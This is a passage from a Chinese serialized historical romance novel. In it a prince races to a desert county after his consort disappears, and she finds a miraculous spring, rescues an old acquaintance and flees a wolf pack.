然轩辕翰却是对他显得无力极了的挑衅,一点儿也不屑,甚至看都不再看他的脸。 眼看着自己就要被那侍卫所察觉,易三少方才一个抬脚,便以迅雷不及掩耳之势极轻巧地越上了屋顶,瞬间消失在眼前这片无尽漆黑的夜里。 待其前脚刚刚离开。 方才那侍卫,亦是轩辕翰最得利的副将程良,脸上神情似是有些异样地来到了云水阁的院子里。 放眼一锁定正站在院子角落的一颗梧桐树下的轩辕翰,便上前道:“殿下!” 轩辕翰闻声,这才缓缓朝其转过了身去,问他:“都已经安顿妥当了?” 程良点了点头:“今夜且让他们在府中歇息一晚,明日一早便让车夫带他们离开。” 轩辕翰对此自是不会有什么意见,便没有说话。 见其脸色犹豫,才又追问:“发生了何事?” 程良心里想了一瞬,终是开口说道:“果然不出殿下所料,刚刚宫里传出来消息,皇上将命殿下明日一早即刻带兵前往觻县支援赈灾!” 轩辕翰怔了一下。 正如程良所说,虽说他对璟帝会有如此决策早已有所预料,可不曾想竟然来得这样快。 回过神来,遂云淡风轻地说:“这一天,果然还是来了。看来他是已经猜到了救下那批灾民乃是本王所为!此时赈灾……他是已经打定了主意,让本王有去无回。” 程良亦是忿忿不平地道:“满朝上下谁人不知?司天局早已预测,还有月余觻县的特大沙暴便会如期将至。没想到皇上如今都这般明目张胆的迫害殿下,想要致殿下于死地!” 轩辕翰沉声道:“这些年,他若不是为了让本王替他开疆扩土,帮他寻找守护者后人,怕是早就对本王下手了,哪里还会等到今天!” 一时间,想起这些年来所受璟帝给予的一一压制,程良越想越气,又不甘心:“这些年,我们准备的也差不多了。再加上王妃娘娘的神秘身份,如果要与之抗衡,我们的胜算还是很大的。” 可一想到至今都还渺无音信的寿伯主仆,心里又有些失落起来:“只可惜,直至目前尚还无法揭穿太后的阴谋,若是朝野上下皆知如今高高在上的主子乃是太后处心积虑狸猫换太子之举,那朝中局势定会发生大逆转,全部倒向先帝唯一的血脉……殿下您这边。可那寿伯主仆俩怎的就突然仿佛人间蒸发了一般没了踪影呢……” 程良正在苦思冥想,独自纳闷,轩辕翰却幽幽开口说:“关于王妃的神秘身份,以后都不准再提!本王想要这个天下,自会凭借自身去取。无论本王最后的结局如何,本王只希望她做个普通女子,只是本王的王妃,一生安乐。” 就在俩人各自陷入自己沉思的时候,又一侍卫快步来到了云水阁里:“殿下!” 那侍卫一近身过来,便双手高高举起一封火漆密函来朝其恭敬地呈上:“启禀殿下,这是刚刚收到的从觻县来的急报!” 一听是觻县来的消息,轩辕翰不知为何,像是心跳顿漏了一拍,忽然变得紧张了起来。 程良意识到主子的情绪,赶忙伸手将其接过,隧将一手摆了摆,示意那侍卫退下,继而转手亲自将其递给了轩辕翰。 轩辕翰眼睁睁看着面前程良手中稳稳捏着的信封,竟然似是手都有些在颤抖起来,遂缓缓将其接过来展开一看,瞬间惊呆了。 程良很快便意识到定是衣上云发生了什么事,便着急地问:“可是王妃娘娘她……发生了什么事?” 只见轩辕翰来不及说话,只有眼睛越瞪越大,他简直不敢相信自己的眼睛,快速地在信纸上移动着,最后愣在原地说:“云儿……失踪了?” “什么?王妃娘娘她……失踪了!”就连其身边的程良亦是不敢相信自己的耳朵。 心下里想着,关于衣上云此次觻县之行,他们都保护的那样好,怎会还发生这种事情? 待一回过神来,便焦急地问:“这是什么时候的事?” 轩辕翰眉头深锁,努力强忍着心头的担忧,道:“卫宁向本王报告此事的时候,已经找了三天了。” “什么……已经三……”程良顿时大惊失色。 轩辕翰思虑片刻,很快便在心里拿定了主意。 他开口即刻安排程良说:“事不宜迟,本王必须马上赶往觻县去。你且留在府中,继续全城寻找寿伯主仆俩人,就算是把皇城翻个底朝天,也务必将这二人给本王找出来……” 程良想都没想,当即反对道:“不行,属下要陪同殿下同往觻县。殿下独自前去,这实在太危险了!” 此时此刻,轩辕翰满心着急的都是衣上云的下落,已是一刻都不想浪费,便不以为然地说:“云儿她一个手无缚鸡之力的女子都可以独自面对觻县的凶险万分,本王又有何惧?” “可是殿下……”虽然也知道主子是因为衣上云的突然失踪才会一时间如此乱了方寸,可无论如何,程良都不放心主子独自成行。 就在他还想开口说些什么,极力挽留时,轩辕翰对他下了最后通牒:“好了,就这样决定了,你下去赶快准备吧!不必等明日的圣旨,本王即刻便率兵启程!” 至此,看到主子心意已决,程良知道自己再说什么都已无用,于是便只能奉命下去准备。 回首间,他忽然又想起一事来,继而再次回头道:“殿下,属下有一事……” 轩辕翰背对着他,望着眼前沉沉夜色下,原本温柔如她,宁静亦如她的云水阁阁楼,心里顿波澜起伏起来。 闻声,沉声道:“还有何事?” 程良说:“殿下有所不知,兰香祖孙俩所要去的地方亦是觻县,不知殿下可否带其同行?” 如今的觻县,可是个萧条荒芜,寸草不生的地方,若不是谁的家乡所在,怎会有人去那里,轩辕翰心里着实有些惊诧。 于是开口朝其确认道:“你确定,她们要去的地方是觻县?” 程良似乎颇为同情兰香的遭遇,道:“兰香姑娘也是个可怜人,她的娘不幸遇到了负心汉,许是担心自己出嫁后,年迈的外婆无人照料,便想托付给其父亲。打探到她父亲去了觻县,她便说什么都要去找!” 轩辕翰想了想,最后终答应了他:“好!” “属下替兰香与婆婆谢过殿下!”说完,便疾步退了下去安排相关事宜。 轩辕翰心里已是一刻都不能等,嘴里喃喃细语道:“云儿,等着本王,本王马上就来,千万不能有事!” 很快,程良便准备好了一切。 全队浩浩荡荡,气势磅礴,在王府门口整装待发。 纯太妃在得知了衣上云突然失踪的消息后,亦是心急如焚。 此刻,在欢儿和张嬷嬷的搀扶下来到秦王府门前,给轩辕翰送行。 轩辕翰见其出来,紧忙上前去恭敬地朝其抱拳行礼:“母妃莫要担心,儿臣很快便会回来。” 清楚得知了这一切的纯太妃注视着他的脸,又心疼,又无助,眼里似是还泛着点点泪花。 过了会儿,她努力压抑住心头的不舍,反而开口赞叹起衣上云来,对其说道:“母妃一直就知道,哀家的皇儿眼光绝对不会差。” 闻此,轩辕翰有些不明所以地看着纯太妃的脸。 纯太妃满脸慈祥地笑着说:“你的王妃,她的确很好。她在觻县带领当地百姓所做的一切,都令母妃无比惊叹。王妃,她,没有丢秦王府的颜面!” 闻此,轩辕翰这才明白了过来。 只是出乎意料,不想衣上云此次觻县之行,竟然在纯太妃的心里得到如此好评。 遂一想起往日这婆媳俩人时不时的小矛盾,轩辕翰一时间竟激动地似是都快说不出话来:“母妃,现在您明白了吧,云儿她就是这样的女子。看似普通平凡,却又极不平凡……” 纯太妃点了点头,以示同意他的见解。 顿了顿,继续说道:“去吧,这次觻县的沙暴过后,把王妃平安地带回秦王府。哀家老了,这秦王府的女主人,哀家要亲自传给她!” “母妃!”闻此,轩辕翰心里激动极了。 纯太妃一直浅浅地笑着。 轩辕翰最后信誓旦旦地向其承诺:“母妃的话,儿臣全都记住了。母妃多多保重,儿臣定会带着王妃很快回来给母妃请安!” “嗯”纯太妃笑着,认真地点了点头。 轩辕翰便即刻转身翻上了马背。 带领着身后一支浩浩荡荡的虎狼之师出发往觻县赶去。 第六百零八章:神泉 觻县,西北边境处。 在一片原本就植被不怎么丰富的地带,因为原先的北烈国屡屡侵犯与掠夺,其牧民又霸占在此过度放牧,草原产草量明显供应不足,使得很多草种长不到结种或种子成熟便被牲畜吃掉。 另外,霸占此处的牧民所放牧的占据了其牲畜总数一半以上的是山羊。 山羊行动很快,极善于剥食沙生的灌木茎皮,刨食草根,再加上践踏,使草原产草量越来越少。 于是便形成了大片的沙化土地,终造成如今不可逆转的恶性循环。 因为长年累月的人为破坏后,此处地面早已完全失去了覆盖,再加上愈来愈干旱的气候和大风的作用,原野早已变成了寸草不生,到处一片茫茫荒芜的黄色沙漠地带。 衣上云自打出门以后,头也不回地径直朝着这里就这么一直走,一直走。 不知不觉间,今天,已经是她独自出门的第五日。 出门前,她的确想过沙漠里的恶劣环境,可出乎意料的是,她完全低估了其恶劣程度,也高估了自己的耐受能力。 夜晚的沙漠,十分寒冷,温度骤降,星空却尤为清晰明亮,仿佛抬手便就能触到天上的星辰。 而白天,在一望无际的沙漠里,沙粒却被夏日的骄阳晒得滚烫滚烫。 此时的她,直觉眼前周围,到处都是层层叠叠的热浪在汹涌澎湃地翻滚着,将她紧紧包围,甚至不得呼吸,像是想要将她吞噬。 她已在沙漠中长途跋涉地太久,早已耐不住这酷热与干渴,嘴唇干裂脱皮尤为明显,就连神智也似是已经变得有些不清晰了。 却依旧还不愿放弃,遂强撑着身子踉踉跄跄,步步艰难地一步一步往前挪着。 就在这时,远远望去,她忽然惊喜地发现前方现出一清凉的碧绿湖畔来。 “那是……真的是……”遂定了定神,来不及将话说完,便满怀欣喜若狂地朝其疾步奔了过去。 可就在她跌跌撞撞,大步向前正要到达时,忽然一阵风沙卷过。 她本能地伸起胳膊遮挡住自己眼睛,然等风沙过后,再次放眼寻去时,眼前竟又恢复如初,仍是一片一望无际的大漠。 此时,她才明白了过来:“海市蜃楼,原来这一切都只是一场幻景。” 许久以来所出现的唯一一次希望,就这样无情地破灭,一时间,她整个人就如同是泄了气的球一般,再也没了继续下去的勇气。 霎那间,直觉自己实在是支撑不住了。 于是便扑通一声,双膝跪了下去,继而一屁股瘫坐在地上,无力地摇了摇头,抗拒起来道:“不行了,我实在是走不动了!走不动了!” 紧接着,就连自己的身子也似已控制不住,重重地朝后一倒,整个人瞬间便仰面朝天地躺了下去。 遂放空一般地缓了半晌,对着眼前这片浩瀚无际的天空,有气无力,心灰意冷,绝望极了。 “难道我就要这样死在这里了吗?” “难道那个梦,仅仅只是一个梦而已?” “那个存在于沙漠之中的神秘水源,根本就不存在?” “老天爷啊,即便如此,求你让我在死之前,能不能再见殿下最后一面……” “可殿下远在千里之外的皇城,又怎么可能会出现在这里!” “殿下,对不起,云儿终没能救得了这里的百姓,让你失望了……” 说完,她便绝望地闭起了双眼。 渐渐地,她似是真的沉睡了过去。 不知过了多久,她紧贴着地面的一只耳朵,忽然似是隐隐听到了一阵梦幻般的潺潺流水的声音。 然闭着眼睛想了想,嘴角微微上扬勾出一抹淡淡的笑来说:“这一定又是我的幻觉。” 于是,很快便再次陷入了深深的昏迷之中。 “云儿……醒醒……” “云儿……不要睡……不能睡……” “醒一醒……快醒过来……” 迷迷糊糊中,似是有一个熟悉的声音将自己拽了回来。 须臾之间,只觉似是脚下踩了个空,她忽地醒来,睁开了那双依旧好看的眼睛。 “我这是……还没死?” 显然,她自己都被自己所惊到。 不经意间,她的眼睛回朝向地面一斜,看到距离自己不远处,隐隐约约似是有几只体长看起来约摸有三四尺,黑褐色羽毛的大鸟,像是正围在一起啄食什么东西。 衣上云顿时心里一惊,似是被吓的不轻,即刻恢复了意识,试着不被察觉小心翼翼地,慢慢坐起身来。 待其仔细一看,顿惊谔地喃喃低语道:“那该不会就是……秃鹫。” 秃鹫,常在沙漠戈壁中以食腐肉为生,一般以死尸为食,虽然很少袭击健康的动物。但偶尔,它们也会捕食生病或受伤的动物。 衣上云听这里的百姓们说过,传说在这里,有一种叫做天葬的仪式,就是将去世的人搬往一处圣地,使其成为秃鹫的食物。 就在她思量之际,似其中有一只秃鹫已经发现了她的存在,与其四目相对视在一起,其嘴边还挂着鲜血淋淋的不知道什么东西? 衣上云默默地吞下了一口口水,整个人瞬间紧张到极点,自言自语道:“你是不是也想把我当成你的下一个食物呢?” 顷刻间,她一动不动,像是被钉在了原地,就连呼吸也变得困难了起来,只怕自己的一举一动,甚至一个眼神,都会惊动了这些杀人不眨眼的魔鬼。 “轰隆隆” 就在这时,忽然传入耳畔一阵雷鸣般的巨大响声,顿时惊散了这群朝自己正虎视眈眈着的秃鹫。 见其终于挥动着翅膀四处仓惶逃散去,远离了自己,衣上云终于长长地舒了口气。 待其刚一回过神来,衣上云便吃力地缓缓起身来朝方才所传出声音的方向寻了去欲要察看。 只见前方是一三十余丈高的沙坡,面南坐北。 那声音,似乎就是从那里传出来的。 于是,她强撑着虚弱极了的身子,想过去一探究竟。 怎料用尽了仅剩下的最后一点力气好不容易爬上沙坡后,衣上云简直不敢相信自己的眼睛。 顿时怔愣在原地,痴痴地看着眼前神奇的一幕道:“奇迹,这真是奇迹!在这遍地只有漫漫黄沙的大漠深处,竟然真的有一股找不到其源头所在的清澈的泉水,正在源源不断地涌出着。” 这次,为了验证自己所见非虚,她的确是清醒的。 她竟掏出了轩辕翰给她用来防身的短剑,在自己的手臂上划了一道,只见鲜血霎时渗出,顿觉袭来一阵锥心之痛:“嘶……” 这才激动不已地道:“太好了,这真是太好了,当真是皇天不负有心人,真的被我给找到了!” 很快,她便从身上掏出自己事先准备好的一个瓷瓶,开始就地取材做起了试验。 小瓷瓶里所盛放的,是当下治理流沙所用的固沙剂。 只见她快速地拔开瓶塞,加入了几滴现取的泉水,复又将瓶塞塞了回去。 接着,便握住瓷瓶用力地来回摇晃了起来,直至觉得已经足够均匀,两者已完全混合,方才停下了手里的动作。 静置了片刻后,她将瓶塞再次拔开,将里面白色粉末状的东西掺进了身旁边的一堆沙粒中。 徒手将其搅拌均匀后,又倒上了自己节省下来的普通的泉水,便等待着奇迹的发生。 伴随着时间一分一秒地过去,她屏住呼吸,目不转睛地盯视着眼前沙粒的变化。 只见原本很容易渗水的沙地变得湿漉漉的,此刻水分似是一点儿也不再流失,全部都尚还停留在沙堆中。 接着,她简单将沙粒与里面的水搅拌混合了一下,沙粒便瞬间变得感觉黏糊糊的,似是和普通的泥土没什么区别。 她又在一旁等了许久,见这种状态能持续很久,的确有极强的保湿性,想来后面种植植物,定能吸取其充足的水分。 至此,她的脸上终于渐渐露出了笑容来:“果真如此!没想到加入这看起来与普通的水并无什么异样的沙漠之泉后,所制成的固沙剂,竟然能得如此完美,几乎与粘土的手感性能一模一样,比原来简直好太多了!” 然高兴之余,另一困难却又产生了,于是皱了皱眉头,再次犯起了愁来,道:“可我又该如何将这泉水带回去呢?” 思来想去,她只能将身上现有的所有瓶瓶罐罐全都拿出来一一倒空,俱都换成装满了这大漠中的神泉之水。 “既然已经找到了,确定有此神泉,待我回去召集更多的人来这里取水,相信这次百姓们一定能战胜这场特大沙暴!” 最后在心里做好了决定,衣上云便急急迈步,欲要赶回去。 不经意地一个回首,看见似是有一个人影正隐隐约约地被半埋在沙坡下的沙子里。 遂放眼朝着周围细细打量了一番,再一想起方才为自己解围,赶走秃鹫的那阵声响, 便推测地道:“这个沙坡至少有三十余丈高,又与其坡度呈弯月状,形成了一个巨大的沙山回音壁。当有人从沙顶滑落下时,便会听到巨大的轰鸣声;难道,方才就是因为他从这沙坡上滚落下去,方才驱赶了那些秃鹫?” 一念至此,衣上云提起裙摆来吃力地迈步,转头再次朝下面那人滚落的地方走了过去。 第六百零九章:大漠深处见故人 眼前一望无际的沙海,并非一马平川,还存在着许多大沙丘和连绵起伏的沙山。 大漠深处的路,即便是尽量在受风蚀作用被压的比较硬的迎风面和沙脊上行走,亦是极不稳当的。 然而,此时衣上云却是要在背风面松软的沙地上下到这三十余丈高的沙坡坡底去,这对她的膝盖将会构成很大的压力和损伤。 一路上,她只有一根已经记不起在哪里捡来的树枝做拐杖来助力,稍稍减少些行走时对膝盖的压力,倒也节省了些许体力。 可人们常说,上坡容易下坡难。 这会儿,她又被头顶的炎炎烈日焦烤着,早已在饥渴虚脱的边缘徘徊,精疲力尽。 就在刚刚迈出没几步的时候,脚下突如其来一个踩空,整个人便就踉踉跄跄地跌倒,继而顺势滑了下去。 遂传出一阵失魂落魄的尖叫声:“啊……” 却很快被淹没在方才不久前,与那男子落下时所发出的同样的雷鸣之声。 “轰隆隆……” 伴随着又一场风沙过后,茫茫大漠,又陷入一片沉沉死寂。 所有暂留下的痕迹俱都被风吹散,仿佛这里从未有人来过,也未发生过任何事。 不知过了多久。 被黄沙埋掉大半个身子,只有露在外面的一只手上有一根纤细的指头,微微动了动。 却也只是极难以觉察地微微动了两下,便复又再没了任何动静。 接着又是很长一段时间过去。 奇迹般地,衣上云竟真的再次缓缓睁开了眼睛。 只见她的眼睛微微斜了一下,脸上竟现出一丝浅浅的惊喜来,她发现自己竟然已然到达了沙坡脚下。 忽觉袭来一阵头痛欲裂,遂紧紧闭起了眼睛。 缓了缓后,想要坐起身来,却发觉自己全身酸痛,像是连骨头都快要散架了一般。 此时,她的脸紧紧贴在沙地上,感觉整个人像是瘫了一般,丝毫不能动弹。 时间一分一秒的过去。 她始终趴着一动不动,想要积聚些体力。 终于,感觉自己攒够了力量,尝试着经过一番挣扎,虽然艰难,却也再次爬了起来。 一立起身,来不及多做思考。 顶着灼热的阳光,便朝着身旁不远处,同样被黄沙深深埋着已经许久的那个男人身边跌跌撞撞的走了过去。 本就在平时极简单的一个起身,却在这里已经耗尽了她好不容易积攒的所有力量。 眼下已然没了力气,却还拼尽全力连拖带拽,连拉带扯的,使出了仅存下的一点点力气,刚刚将那男子从沙堆里拔了出来。 自己便重重地“扑通”一声,一屁股向后瘫坐在地上。 又经过一阵休整,方才再次回到了男子的身旁。 “醒醒……” “醒醒……” “不能睡……” “千万不能睡……” “睡着了就再也醒不来了……” “醒醒啊……” 眼看着无论自己如何摇晃,呼唤他,男子都没有一点儿反应。 正午时刻,灼热的阳光似是快要烤焦他的身体。 男人的嘴唇干裂脱皮现象极其严重、皮肤燥热异常,看他暴露在外的皮肤被炙烤得通红,显然是因为严重脱水,所以陷入了深度昏迷状态。 “对了……” 就在这时,衣上云似是想起了什么。 她赶忙从身上掏出一支瓷瓶来,打开瓶塞,将自己千辛万苦方才寻找到的水源毫不犹豫地,缓缓灌进了男子的口中。 可是仅仅那么小的一瓶,自是远远不够的。 看着作用不大,仅犹豫片刻,衣上云便将身上的所有瓶瓶罐罐都掏了出来,打开瓶塞给男人一瓶接一瓶的灌了下去。 就在她正要打开最后一支最小的瓷瓶时,男人终于有了反应。 许是饥渴太久,吞咽时候有些着急,男人被呛住了,遂发出一阵重重的咳嗽声来:“咳咳咳……” 见此,衣上云赶忙将那最后一支珍贵的小瓷瓶揣进了袖兜后,急急将男子的上身微微抬起,一只手轻柔的拍打起他的后背来。 一边对他抱歉极了地道:“对不起,对不起,是我太着急了,真是对不起。” 直到那男子终于缓了过来,方才定睛细看向眼前女人虽一袭素衣包裹,头上亦紧紧包着厚厚的头巾,却仍难掩其倾国倾城容颜的脸。 只见男子望着她的脸看着看着,眼睛却越瞪越大,似是发现了什么? 忽然对其惊诧极了地道:“你……你是……你怎么会在这里?” 衣上云看着他眼中对看到自己莫名的吃惊,不明所以地问:“你……我们认识吗?不知你是……” 男子这才意识到应该是自己此时的脸已经让人无法识出自己,于是便扬起袖子来,用力蹭了蹭自己的脸。 刹那间,衣上云终于从记忆当中,将面前这张脸搜索了出来,遂诧异地道:“龙恩龙大哥……你是……你是龙大哥?” 男子亦激动不已,吃惊地道:“若曦……你真的是若曦……太好了,真是太好了,没想到,此生我还能再见到你。” 这时,衣上云不解地问:“龙大哥,你怎么会一个人在这荒漠里?” 龙恩眼神微微躲闪,掩饰着内心的阴谋,扯谎说:“我本是来觻县找一个朋友,却不慎迷了路,又被一场沙暴袭击。醒来后,便就在这里了,若不是你,我怕是就要命丧这里了。” 衣上云想了一瞬,却是不以为然地说:“不,或许,倒可能是龙大哥你帮了我!” 龙恩不明白地问:“我帮了你?” 衣上云解释说:“我特地来此,是为了寻找大漠深处的一处神泉……” 龙恩好奇地问:“寻它做什么?” 衣上云幽幽道:“龙大哥有所不知,在这附近的觻县,其百姓们世世代代饱受沙暴之苦,眼下正在奋力与之抗击。但是,现在所用的防流沙的固沙剂效果极不理想,我听人说,掺入这大漠深处的神泉之水,可以得到很好的固沙效果,于是便就来寻了。” 龙恩却在心下里想着:“她不是东宁国最尊贵的嫡公主吗?那不是应该在富甲一方的东宁国富丽堂皇的宫殿里养尊处优吗?如今怎么会在西秦国境内和这帮贫民在一起?” 待其回过神来后,转而问她:“那你找到了吗?” 闻此,衣上云心里长长地叹了口气,继而垂头看向俩人身边地上,七零八乱的丢着好几个空荡荡的瓷瓶。 龙恩这才忽然明白了过来,吃惊地问:“莫非刚才你给我灌下的就是……” 看到衣上云沉默着,显然是自己猜对了。 于是着急地一边捡起这些瓷瓶来,一边抱歉地说:“对不起,我不知道原来是这样。你是从哪里找来的,我这便去帮你再将这些瓶子都灌满。” 就在这时,一阵疾风袭来。 顿现风沙迅猛,将他们的脸剥得生疼,沙砾像尖刀一样扎进他们的皮肤。 衣上云扭头朝身旁三十余丈高的沙坡上望了去,龙恩追随其目光所及之处,惊愕地道:“你是说,这些水,就在这沙坡上。” 就在其尚还在犹豫之际,担心山坡上的沙粒很快会再次落下来冲击到俩人,衣上云紧忙收回视线转过头来。 却是问龙恩:“龙大哥,你还能走吗?我们必须马上转移到一个安全的地带。” 龙恩迟疑地看着她的眼睛,说:“可是……这神泉之水……” 衣上云笑了笑,说:“不打紧了,本来我就还没有更好的办法,能将这泉水带回去。如今已经寻到,并且证实了,这水的确是百姓们需要的东西就好,其他的,等回去再从长计议吧!” 龙恩亦是意识到这里极不安全,于是点了点头道:“我可以。” 衣上云道:“那我扶你离开这里。” 俩人这才立起身来,一起互相扶持着,一步一挪地离开。 觻县境内。 得知了衣上云失踪的消息后,轩辕翰快马加鞭,一刻都不得停歇地赶路。 终于在第二天夜幕降临的时候,踏上了觻县的土地。 跟随其先行的一支队伍,动作麻利地很快便完成了安营扎寨的任务。 此时,一名侍卫步履匆匆赶来主帅的帐篷里,朝其禀告:“启禀殿下,觻县的风沙从今日下午开始便越来越大,怕是司天局预报的尚有月余而至的特大沙暴会提前到来。” “什么?”轩辕翰听了,顿时心里一惊。 继而问:“卫宁还有多久到?” 侍卫犹豫了一下,道:“卫将军……他已经在帐外等候。” 轩辕翰当即对其射出一个冷眼,沉声道:“让他进来。” “是” 那侍卫一退出去,卫宁便疾步走了进来。 一见到主子,便重重地跪了下去,垂头道:“属下参加殿下!属下该死,未能保护好王妃娘娘,请殿下处置。” 轩辕翰眼中早已似是有千万支利箭欲要射出,遂将一只紧紧握着的拳头重重地砸在了面前的案几上,朝其厉声喝道:“该死,你的确该死,就算是死一千,一万次也不够。” 然生气归生气,卫宁跪在地上头也不抬,一声不吭。 静了下来后,轩辕翰道:“你且将王妃失踪前那夜与你所说的话,一字不漏地重复给本王听。记住,一个字都不能少。” 第六百一十章:戈壁滩上的狼 其实不用轩辕翰质问他,卫宁亦早就在脑海里将衣上云失踪前一夜所发生的一切,哪怕是她与自己交谈中所发出的一声叹息,一个停顿,停了多久,俱都早已回忆过千遍万遍。 之所以这么做,无非是为了想要从中寻到哪怕只是一丝丝线索。 可终究,这些日子以来,他不眠不休地带着一众侍卫,再加上由百姓们自发成立的众多小分队,一起分头沿着不同的戈壁沙滩寻找。 却几乎是在将方圆几十里地,翻了无数遍底朝天后,依然不见其一丝踪影。 好像自己能做的,他都已经不留一丝余力地做了。 此时,听了卫宁细而又细地一番陈述后,轩辕翰似是也陷入了困境。 开口徐徐说:“照你所说,你只确定王妃娘娘定是去寻找一种更牢固的固沙剂,却并不细知其究竟是什么?” “是”卫宁确定极了地答道。 至今,都尚还深陷在深深的自责当中:“那夜,我以为王妃娘娘回来后已经释怀,怎么都不曾想她竟会再次出门。” 可即便如此,轩辕翰也是难以饶恕他,愤怒地朝其质问:“你可记得,来之前,本王不是交待过你,定要寸步不离地保护吗?” 闻此,卫宁倏地低下头去,心里犹豫了一下,道:“可王妃娘娘不让,说这里民风淳朴,自己住在这里很安全。反倒是……反倒是让属下务必带人看护好新建成的防护林和草场。说如果防护林和草场出了问题,那大家所有的付出与辛劳,一切就都白费了。” 轩辕翰听了惊呆了,没想到这些人竟如此无视自己的命令,根本就未按照自己的吩咐办事。 遂紧紧握住了拳头,更加怒斥其道:“你说什么?你竟带着所有人去看护防护林和草场?这些如何能与王妃的性命相比?” 卫宁对此亦是早就后悔不已,回忆着说:“王妃娘娘不愿看到这里的百姓再继续受苦,更不愿看到殿下您难过失望。王妃娘娘说,殿下想做却未来得及做的,她一定要帮殿下做到。” 轩辕翰听了惊诧极了:“什么?你说她如此不顾惜自己的身子,是为了……本王?” 这时,他终于想起之前自己曾对衣上云所说的那些,因为连年征战四方,来不及亲自来此治沙的话。 一时间,肠子都悔青了。 原来,这一切,都是自己无形中施加给她的压力。 卫宁依旧自顾自地继续说着:“这些日子以来,属下亲眼看着王妃娘娘亲自动手,带着百姓们治沙。百姓们对她越来越敬重,王妃却总说是受殿下嘱托,不敢怠慢。她付出了太多的血与汗,所以属下才会……” 卫宁只要一想到那夜衣上云失落的样子,便就更加担心:“甚至……” 看到其言语之间似有几分犹豫,轩辕翰从对自己深深的自责中回过神来,开口追问:“甚至什么?” 卫宁咬了咬嘴唇,说:“王妃娘娘,她似乎身体已有些不适?” 轩辕翰听了,顿朝其瞪大眼睛,着急的问:“身体不适……她怎么了?到底怎么回事?” 卫宁回忆了一瞬,说:“不知为何,属下见王妃娘娘频频作呕,本想找个大夫来给娘娘瞧瞧,可娘娘非说自己没事,还说自己就是大夫,便就将属下推了出来,自此便就……” 此话一出,轩辕翰霎时变得更加担心了起来,急道:“糊涂!竟连医者不自医的道理都不知吗?” 卫宁又怎会不知此道理,可就在他明明已经安排好大夫,第二日准备给衣上云把脉诊治时,她却一大早便不见了踪影。 事已至此,如今他只能连连自责道:“属下该死!属下该死!” 心里一着急,他赶忙起身来道:“属下这就带人再去找,一日找不到王妃,属下便一日不回来见殿下!” 就在其刚刚转身的时候,轩辕翰开口将其拦住:“等等……” 卫宁顿回过头来问:“殿下还有什么吩咐?” 轩辕翰立起身来,道:“本王同你一起去!” 卫宁听了,霎时一脸惊慌地阻止其说:“殿下万万不可。从下午开始,觻县的风沙便愈来愈烈,怕是沙暴会提前到来。更何况,此时夜里,外面实在是太危险了,殿下千万不可……” 然轩辕翰却似是根本就没听到他所说的话一般,兀自走出了帐篷。 卫宁伸手一把拽了旁边架子上的一条墨色斗篷披风,亦急急追了上去。 此时。 衣上云与龙恩俩人俱都徘徊在身体极限的边缘,顶着风沙吃力地往回赶路。 龙恩的一只胳膊,重重地一次次将其几乎全身的重量俱都压在衣上云牢牢扶着他的那只纤细的胳膊上。 龙恩意识到自己的拖累,于是气喘吁吁地说:“若曦,你听我说,眼下风沙愈来愈烈,放下我,你自己走吧!如此,你还尚有一丝活下去的希望,莫要让我拖累了你!” 衣上云紧紧握着他的胳膊,丝毫不放松,说道:“龙大哥,你说什么呢?我怎么可能丢下你。之前在城南,若不是你,我怕是也早就没命了!既然那时你都未曾丢下我一人离去,那我如今又怎会把你丢在这茫茫大漠之中。” 这一路,身上多处俱都隐隐袭来一阵阵痛楚,龙恩知道自己伤的不轻,再次道:“想来方才从沙坡上摔下去的时候定是哪里受了伤,此刻我是真的已经走不动了。这样下去,我们俩都会没命的。你听龙大哥的,将我放下,自己赶紧走吧,一场更大的沙暴就要来了!” 可无论他怎么说,衣上云都不听,只道:“龙大哥,不要说话了,积攒体力,有我在,我们都会活下去的……” 龙恩显然对身边这个身子娇小,内心却无比强大的女子震惊不已,亦丝毫拿她的固执没办法。 龙恩心里默默地佩服其道:“这世上谁会相信,一个身份如此尊贵的女子,会经历这些非人的苦难。” 就在这时,龙恩警惕地察觉到身后似是有个什么东西在朝俩人缓缓靠近。 于是立刻沉默下来,不再说话,只吃力地朝四周探寻了去。 这才发现,眼下俩人所处的正是一片广袤的戈壁滩,植被贫瘠,经常多飞沙走砾,自然环境异常恶劣。 衣上云不知,龙恩却清楚地知道,在这里,有一种动物极其顽强的生存着,霸占着整个戈壁,它就是戈壁狼。 龙恩顿时心里一惊:“莫非,那是一只戈壁狼,想必定是自己伤口上的血腥味召唤了它。” 就在其沉思之际,衣上云似是也觉察到了身后有什么东西在尾随着。 就在她正打算回过头去看一眼时,龙恩一把将其拽了回来,说:“不要回头!” 显然,自己的猜想没有错,俩人顿时打起了精神,衣上云悄悄地问:“是什么?” 龙恩道:“是一只戈壁狼。” 衣上云压低了声音,惊谔地说:“戈壁狼!” 又过了一会儿,俩人丝毫不敢再停下脚步,可似乎这时身后的东西反而越来越没了气息,衣上云道:“好像走了?” 龙恩却不以为然地道:“不是走了,而是去召唤其同伴了!” 衣上云大惊失色地看向龙恩的脸:“你是说……” 就在其尚还未反应过来的时候,果然有一支由六七只狼组成的狼群,从另外一个方向突然冒了出来。 衣上云这才明白了方才那只狼原来是只负责侦查的狼,它的作用就是为狼群在寻找食物目标。 如今看来,它已经召来了狼群,而她与龙恩俩,就是他们的对象。 狼群中,卧在前面的是一只个头最大,神情淡漠凶狠的狼王,而在它身侧的,正是那只一直跟踪他们的灰色狼。 龙恩即刻安排,说:“若曦,听着,那些可是狼群!等会儿你听我的,我说跑,不管发生什么,你务必全力奔跑,千万不要回头。” 衣上云心里害怕极了,摇了摇头:“不,你身上有伤,跑不了的,我不能丢下你,不能……” 见她已然此刻,依旧感情用事,龙恩呵斥起她来道:“这都已经什么时候了,你怎么还如此执迷不悟,如果你不跑,我们俩都活不了。我有办法对付这群畜生,你不离开,到时只会拖累我……” 衣上云无助极了,可龙恩说的似乎也不是毫无道理,龙恩好歹有武艺在身,可她却毫无抵抗能力。 最后,她只能弱弱地点了点头。 商量好对策,龙恩亦刚好做好了防护措施,最后从身上抽出了一把匕首,扬声大喊一声:“跑!” 衣上云便拔腿狂奔了起来。 身后继而传来狼王的一声嚎叫,那七八只狼就朝着龙恩一起攻击而去。 可谁曾想,竟然还有更多的狼群也加入进来,数量且倍增,站在最前面的赫然又是一只高大威猛的狼王。 而此时身旁戈壁的两边都是陡峭险峻的高坡,衣上云很难爬上去,且在兵分两路的狼群的交替驱赶下一路往悬崖方向而去。 第六百一十一章:你怎么才来啊 而此时身旁戈壁的两边都是陡峭险峻的高坡,衣上云很难爬上去,且在兵分两路的狼群的交替驱赶下一路往悬崖方向而去。 狼群始终都群追不舍,在其不懈努力下,最终将衣上云逼到了那处悬崖边上。 